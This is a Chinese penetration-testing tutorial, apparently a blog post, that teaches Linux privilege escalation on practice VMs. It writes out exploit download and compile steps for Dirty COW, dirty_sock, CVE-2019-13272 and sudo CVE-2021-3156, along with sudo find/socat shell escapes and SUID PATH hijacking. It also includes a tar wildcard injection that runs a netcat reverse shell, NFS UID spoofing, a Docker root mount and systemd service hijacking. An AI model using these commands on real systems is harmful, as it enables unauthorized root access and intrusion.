Linux常用提权方法 (゚益゚メ) 渗透测试

简介

进行linux提权前最好对Linux信息收集、渗透测试常用命令有所了解。

常用命令汇总

这里简单在提一下常用命令

命令作用
uname -a查看系统所有信息
ifconfig -a查看所有网络信息
ps auxps -elf查看进程信息
idwhowlast查看用户信息
crontab -l查看当前用户的计划任务

靶机环境

下面的提权,我主要会使用两个靶机

  1. OWASP_Broken_Web_Apps_VM_1.2 (默认用户名账户:root 密码: owaspbwa) 下载地址:https://sourceforge.net/projects/owaspbwa/files/
  2. lin.security_v1.0 (默认用户名账户:bob 密码: secret)下载地址: https://www.vulnhub.com/entry/linsecurity-1,244/

如果感觉官网下载慢,可以从我提供的百度网盘下载
链接:https://pan.baidu.com/s/1uq-wQUIsEQm76M-LyEwVIQ
提取码:panx

这里OWASP_Broken_Web_Apps_VM_1.2 环境默认使用的是root用户,所以我给他添加了一个新用户,方便我们提权测试!

# 添加用户名为xunmi的新用户,并且将默认命令行设置为bash(这个比较好用,默认是sh)
useradd -s /bin/bash -m xunmi
# 给xunmi用户设置密码(推荐设置一个简单点的,方便我们自己使用)
passwd xunmi
# 创建xunmi家目录
mkdir /home/xunmi
# 将权限移交给xunmi
chown -R xunmi:xunmi /home/xunmi

在这里插入图片描述
security_v1.0 环境的默认键盘和网络环境都有点问题,需要我们配置一下(因为配置这些需要高级权限,所以会先提权处理一下)

# 这是一条提权命令,之后会详解这里因为会用到root权限,就先使用一下!
sudo awk 'BEGIN {system("/bin/bash")}'
# 修改键盘布局
# 默认\符号是shift+2
vim /etc/default/keyboard
# 将XKBLAYOUT改的值为us
# 保存好退出后(:wq)重新此服务,如下命令
setupcon
# 配置网卡
vim /etc/netplan/50-cloud-init.yaml
# 将enp0s3改为ens33
# 同样配置退出后重启服务即可
netplan apply
# 切回我们常规用户,方便之后提权测试
su - bob

Linux提权方法

提权指的就是从低权限用户变为高权限用户的一种方法。所以我们至少要保证已经拿到目标机器的低权限用户了。
Linux漏洞信息集合: (https://github.com/SecWiki/linux-kernel-exploits)

Linux提权漏洞利用

脏牛(Dirty COW)CVE-2016-5195漏洞

主要影响范围:Linux 内核 => 2.6.22 ~ 3.9 (x86/x64)
漏洞检测: uname -a查看linux内核是否在此范围内
下载地址: https://github.com/FireFart/dirtycow
使用靶机: OWASP_Broken_Web_Apps_VM_1.2
首先我们将攻击载荷下载到目标机器

# https://raw.githubusercontent.com/FireFart/dirtycow/master/dirty.c,这是攻击载荷的文件,如果将文件传入目标机器就靠你自己了!我用的shell(FinalShell)终端有非常方便的拖拽导入。
# 将c进行编译(正常情况下,输入gcc dirty.c -o dirty即可,但这里需要填写两个动态链接库pthread和lcrypt)
gcc -pthread dirty.c -o dirty -lcrypt
# 给生成的文件赋予权限
chmod 777 dirty
# 运行文件(后面跟着想要设置的密码!这个密码会替换目标root用户的密码。)
./dirty 密码
# 切换用户,切换进入的用户虽然不叫root,但有所有root用的权限(可以输入id查看信息)
su -
# 搞完事情后记得把密码文件恢复
mv /tmp/passwd.bak /etc/passwd

在这里插入图片描述

CVE-2019-7304漏洞

这是一个Linux包管理器snap本地提权漏洞,主要针对一些乌班图系统

Ubuntu版本范围:
Ubuntu 18.10
Ubuntu 18.04 LTS
Ubuntu 16.04 LTS
Ubuntu 14.04 LTS
snap版本范围:
2.28 < snapd < 2.37

漏洞检测: snap --version 查看当前版本是否在指定范围内
攻击载荷: https://github.com/initstring/dirty_sock
(v1: 将目标秘钥发送到指定邮箱, v2: 创建一个用户名密码都为dirty_sock的有所有sudo权限的用户!)

# 这里我们使用v2版本
# 先赋权
chmod 777 dirty_sockv2.py
# 在使用
python3 dirty_sockv2.py
# 如下图成功后可以登陆到dirty_sock用户(密码也是dirty_sock)
su - dirty_sock
# 登陆成功后即可使用sudo命令已管理员身份执行任何命令了,比如如下命令可以直接切换到root用户!
sudo su

在这里插入图片描述

CVE-2019-13272漏洞

主要影响范围:Linux 内核 => 4.10 ~ 5.1.17
攻击载荷里描述主要针对下列版本系统可以进行提权(我当前并没有下列系统的靶机所以没有复现此漏洞)

// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
// - Ubuntu 19.04 kernel 5.0.0-15-generic
// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
// - Linux Mint 19 kernel 4.15.0-20-generic
// - Xubuntu 16.04.4 kernel 4.13.0-36-generic
// - ElementaryOS 0.4.1 4.8.0-52-generic
// - Backbox 6 kernel 4.18.0-21-generic
// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
// - Kali kernel 4.19.0-kali5-amd64
// - Redcore 1806 (LXQT) kernel 4.16.16-redcore
// - MX 18.3 kernel 4.19.37-2~mx17+1
// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64
// - Debian 9.4.0 kernel 4.9.0-6-amd64
// - Debian 10.0.0 kernel 4.19.0-5-amd64
// - Devuan 2.0.0 kernel 4.9.0-6-amd64
// - SparkyLinux 5.8 kernel 4.19.0-5-amd64
// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
// - Mageia 6 kernel 4.9.35-desktop-1.mga6
// - Antergos 18.7 kernel 4.17.6-1-ARCH

攻击载荷: https://www.exploit-db.com/exploits/47163
下载地址: https://www.exploit-db.com/download/47163

# 下载攻击载荷
wget https://www.exploit-db.com/download/47163 -O exp.c
# 将目标编译
gcc exp.c -o exp
# 启动提权
./exp

CVE-2021-3156漏洞

主要影响范围:sudo 1.8.2~1.8.31p2、sudo 1.9.0~1.9.5p1
漏洞检测:sudoedit -s / 报错信息sudoedit开头则可能存在此风险,如果已usage开头,则无风险。除了这两种情况,还有可能因为没有sudo使用权限导致的报错!
在这里插入图片描述
下载地址: https://github.com/blasty/CVE-2021-3156.git
此漏洞使用条件还是比较苛刻的,首先我们需要用户有一定的sudo权限sudo -l,其次Linux自带的一个安全机制对此漏洞的利用也有很大的影响,此安全机制导致服务每次启动的时候都会在不同的内存区域中,而此漏洞需要知道我们sudo服务的内存偏移量才能对齐进行进行漏洞利用。下面这个漏洞利用脚本可以帮我们使用穷举法(暴力破解)去找sudo所在位置。
下载地址: https://github.com/lockedbyte/CVE-Exploits
此脚本使用也比较简单,但需要注意的是,这个脚本应该是在Windows环境下写的,我上传到Linux中时候出现了一些编码问题,提示/bin/bash^M: bad interpreter: No such file or directory,如果你也有类似问题,需要先改变一下编码

# 首先vim打开我们需要执行的文件
vim exp.sh
# 编辑文件,执行
:set ff=unix
# 退出编辑
:wq
# 运行脚本
./exp.sh

在这里插入图片描述

然后这个脚本就会开始穷举攻击了。

Linux环境变量

# 查看所有环境变量
export
# 查看环境变量路径
echo $PATH

我们在linux中使用的命令就是一个个可执行文件,linux系统就是通过这些环境变量所指定的路径来快速定位到我们想要执行的命令。比如我想执行一个ls命令,其实我们执行的是/bin/ls这个可执行文件,而系统就是靠环境变量中我们设置的路径/bin中找到的ls并执行。
在这里插入图片描述
这个执行的优先级是按从前到后的,如上图,假如在/usr/local/sbin路径中找到ls,则就会使用/usr/local/sbin路径中的ls而不是/bin中的。而我们主要就是需要利用这个特性,来完成提权。

# 临时添加环境变量(从头添加)
export PATH=路径:$PATH
# 添加到尾部
export PATH=$PATH:路径

文件特殊权限利用

我在Linux渗透测试常用命令中提到过linux有几种特殊权限,这里主要会用到属主运行setuid和属组运行setgid,如果我们知道已属主运行或者属组运行的可执行文件属主或属组为管理员权限,并且会调用那些命令的话,即可尝试对齐命令做替换处理来达到提权目的。
在这里插入图片描述
假设现在有这样一个文件,

#include<unistd.h>
#include<stdlib.h>
void main(){
        setuid(0);
        setgid(0);
        system("ps");
}

我们将其编译成可执行文件,并且将其赋予属主执行权限!

gcc ps.c -o 测试
chmod 4777 测试
ls -l

在这里插入图片描述
上述条件只是我搭建的一个测试条件,正常情况下如果碰到类似情况,可以尝试这种执行方法

# 查找上述这种文件的方法
# 从根目录(/),查找属主(4000)或属组(2000)或同时有属主和属组(6000)执行权限的文件(f),并且自动删除所有报错(2>/dev/null, 2是所有的错误信息,/dev/null是linux中的一个虚无的文件)
find / -perm -4000 -type f 2>/dev/null
# 详细信息版本
find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null

从上面的属主执行文件中,我们可以看到目标会调用ps命令,这时候我们可以利用环境变量将目标想要执行的文件替换成我们想要执行的命令

# 创建一个ps文件准备替换(如果当前用户没有自己的文件夹,可以在/tmp这个临时文件夹中创建)
echo "/bin/bash" > ps
# 给我们创建的额ps文件赋权
chmod 777 ps
# 添加环境变量(当前我的ps在/home/bob目录中!)
export PATH=/home/bob:$PATH

在这里插入图片描述
suid命令汇总网站(gtfobins): https://gtfobins.github.io/#+suid
除了上述这种利用外,我们还能找一些系统命令进行利用,比如如下我们在找属主执行文件的时候找到了taskset命令,这时候我们就可以利用此命令的漏洞进行提权
在这里插入图片描述
taskset命令提权: https://gtfobins.github.io/gtfobins/taskset/
在这里插入图片描述

查看隐藏文件

# Linux隐藏文件会使用.开头,所以使用".*"即可匹配隐藏文件
find / -name ".*" -type f 2>/dev/null
# 查看详细信息版本,并且只查看/home路径中的隐藏文件
find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null 
# 或
find /home -name ".*" -type f -exec ls -al {} \; 2>/dev/null 

sudo权限滥用

滥用sudo的先决条件是你知道当前登陆用户的明文密码!
在Linux中很多命令权限只有管理员才能使用,普通用户如果想在不登录管理员账号的情况下执行一些管理员命令就需要用到sudo这个权限,如果有所有sudo权限的话,就和Linux超级管理员root用户基本一致了。使用sudo -l命令即可查看当前用户有哪些权限,下列两种分别是有所有sudo权限和没有任何sudo权限的提示。
在这里插入图片描述
如果你拿到的用户发现有所有的sudo权限,那么恭喜,宝才,你捡到鬼了。输入sudo su命令即可获得到root用户,不过正常状态下,我应该不会运气这么好。
大多数情况下,我们可能会碰到下列类似的情况,会告诉我们使用当前用户有哪些权限可以使用sudo命令执行。如果你又捡到鬼了,发现有/bin/bash或者/bin/sh之类的命令,也可直接提权。
在这里插入图片描述
除了上面捡到鬼的情况外,sudo大概率一般会赋权给用户find权限方便用户查找,或ftp,git之类的命令。
提权命令汇总网站(gtfobins): https://gtfobins.github.io/#+sudo
比如我们利用find提权

# https://gtfobins.github.io/gtfobins/find/#sudo
# 在当前目录下(.)执行(-exec)/bin/bash,执行完成后退出(-quit),;代表执行另外一条命令,\是;的转义字符
sudo find . -exec /bin/bash \; -quit
# socat也可以,剩下的就不演示了
# stdin 是标准输入
sudo socat stdin exec:/bin/sh

在这里插入图片描述

定时任务提权

一般我们拿到低权限用户都会看看对方有没有定时任务,如下所示

# 查看当前系统中有哪些定时任务
cat /etc/crontab
# 查看文件类型(如果是脚本最好,shell script)
file 定时任务执行文件
# 查看当前文件权限
ls -l 定时任务执行文件

在这里插入图片描述
首先我们可以看到这个系统中有一个每分钟都会执行一次的定时任务,并且这个定时任务是一个脚本,但是我们却只有这个脚本的可读权限
这个定时任务主要执行的是将家目录中所有的子目录压缩备份/etc/backups目录中
在这里插入图片描述

将参数写在文件名中

利用此漏洞前我们需要知道Linux的一个特性,如果我们有一个名字为--参数的文件,会和原本的参数产生冲突!如下图,我创建了一个文件名为--help的文件,但我使用cat --help却无法查看此文件,会触发帮助命令。
在这里插入图片描述
这里我们使用msf生成一个本地反弹命令

# 此命令会生成一个反弹shell命令
msfvenom -p cmd/unix/reverse_netcat lhost=127.0.0.1 lport=8888 R
# 不执行上述命令也可以,直接用我生成的
mkfifo /tmp/mpuo; nc 127.0.0.1 8888 0</tmp/mpuo | /bin/sh >/tmp/mpuo 2>&1; rm /tmp/mpuo

上述的定时任务中,我们发现定期备份的文件中,有我们当前用户的目录

# 每次执行的定时任务
for i in $(ls /home); do cd /home/$i && /bin/tar -zcf /etc/backups/home-$i.tgz *; done
# 其中这段表示将/home中所有文件夹名赋值给i,下面我们用bob举例,假如现在i被赋值为bob了
for i in $(ls /home)
# 然后会cd到bob的家目录中
cd /home/bob
# 下面就是我们需要利用的命令,将鲍勃家目录中所有的文件进行备份!
/bin/tar -zcf /etc/backups/home-bob.tgz *

漏洞利用:

# 把上述生成的本地反弹shell命令写入脚本
echo "mkfifo /tmp/mpuo; nc 127.0.0.1 8888 0</tmp/mpuo | /bin/sh >/tmp/mpuo 2>&1; rm /tmp/mpuo" > shell.sh
# 执行一个脚本
echo > "--checkpoint=1"
# 执行的脚本目标(执行shell脚本,我们上面生成的反弹命令)
echo > "--checkpoint-action=exec=sh shell.sh"
# 建立上述命令后,再次备份打包时候打包命令便会变为如下所示
# tar -zcf /etc/backups/home-bob.tgz --checkpoint=1 --checkpoint-action=exec=sh shell.sh shell.sh
# 监听我们反弹的接口
nc -lvvp 8888

在这里插入图片描述

网络文件系统低权限访问

网络文件系统,英文Network File System(NFS)它允许网络中的计算机之间通过TCP/IP网络共享资源。在NFS的应用中,本地NFS的客户端应用可以透明地读写位于远端NFS服务器上的文件,就像访问本地文件一样。类似Windows中的网络功能,此功能默认开放在2049端口。我们可以使用下列nmap命令查找目标机器

nmap -sS -T4 -p- 目标地址

在这里插入图片描述

# 安装nfs服务
apt-get install nfs-common
# 查看读取权限
showmount -e 目标地址
# 挂载本地
mount 目标地址:远程要挂载的目录 本地目录

在这里插入图片描述
挂载完成后,我们就可以看到目标文件,但我们对此目录是没有写入操作权限的,因为我的超级管理用户是被压缩成了匿名用户。

越权写入

如果我们先在对方主机写入文件,可以通过伪造对方主机的用户来实现,首先根据上述我们映射文件时候获取到的信息是,目标映射文件是属于peter用户,并且这个用户的uid为1001,gid为1005。我们在本地也创建一个类似的用户

# 创建名为peter,组号为1005的组(一般用户组和用户是一个名字)
groupadd -g 1005 peter
# 创建peter用户并且将其添加入peter组
adduser peter -uid 1001 -gid 1005
# 查看peter信息
cat /etc/passwd |grep peter

在这里插入图片描述
之后即可在目标机器中写入文件
在这里插入图片描述

Docker提权

前提条件: 1. 目标机器属于docker组 2. 目标机器最好能和外网连接(或者你能想目标机器上传文件也可以尝试,不过这需要有一定的docker使用基础)
满足上述条件后,只需输入docker run -v /:/hostOS -i -t chrisfosterelli/rootplease即可尝试提权
在这里插入图片描述

Systemd配置提权

Systemd简介

Linux在之前的很多版本中,服务都是和init进程有关的,启动时候我们需要输入如下命令

# 假设这里启动apache2服务
sudo /etc/init.d/apache2 start 
# 或者
service apache2 start

init进程因为在设计时使用的是串行启动,并且只负责启动服务脚本,所以导致比较低效。而Systemd就是为了解决这些问题从而存在的。
不少新系统中会将Systemd设置为系统第一进程(PID=1),而且Systemd并不是一个命令,而是一组管理系统的命令,其中systemctlSystemd 的主命令

# 重启系统
$ sudo systemctl reboot
# 关闭系统,切断电源
$ sudo systemctl poweroff
# 查看启动耗时
$ systemd-analyze 

在这里插入图片描述

Systemd提权

systemd提权其实和我上述提到的文件特殊权限提权有一些类似,首先我们还是需要找到一个可以用超级管理员省份执行的目标,我这里使用/lib/systemd/system下的debug.service,因为我们当前peter用户是对齐有可写权限的。
在这里插入图片描述
查看此服务配置可以看出,当前服务会已超级管理员(root)用户省份执行一个文件,那我们只要把目标文件改成我们想要目标执行的命令,并且重启服务即可!
在这里插入图片描述

# 先回到用户家目录
cd ~
# 转义\n之类的字符(-e),将/bin/bash复制到/home/peter/管理员控制台,并且赋权为6755
# 将其保存在`管理员控制台.sh`文件中,并且赋给执行权限
echo -e '#!/bin/bash \ncp /bin/bash /home/peter/管理员控制台 \nchmod 6755 /home/peter/管理员控制台' > /home/peter/管理员控制台.sh && chmod +x 管理员控制台.sh
# 修改debug配置文件
vim /lib/systemd/system/debug.service
# ExecStart=赋值为
/home/peter/管理员控制台.sh

在这里插入图片描述
不过之后重启服务就需要其他手段了,是在不行就等着管理员那天重启系统吧!重启后我们便能看到的如下所示的管理员控制台,这时候并不是直接执行管理员控制台即可获得root用户权限,而是需要我们执行./管理员控制台 -p才能获取root权限!
在这里插入图片描述

评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

寻_觅

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值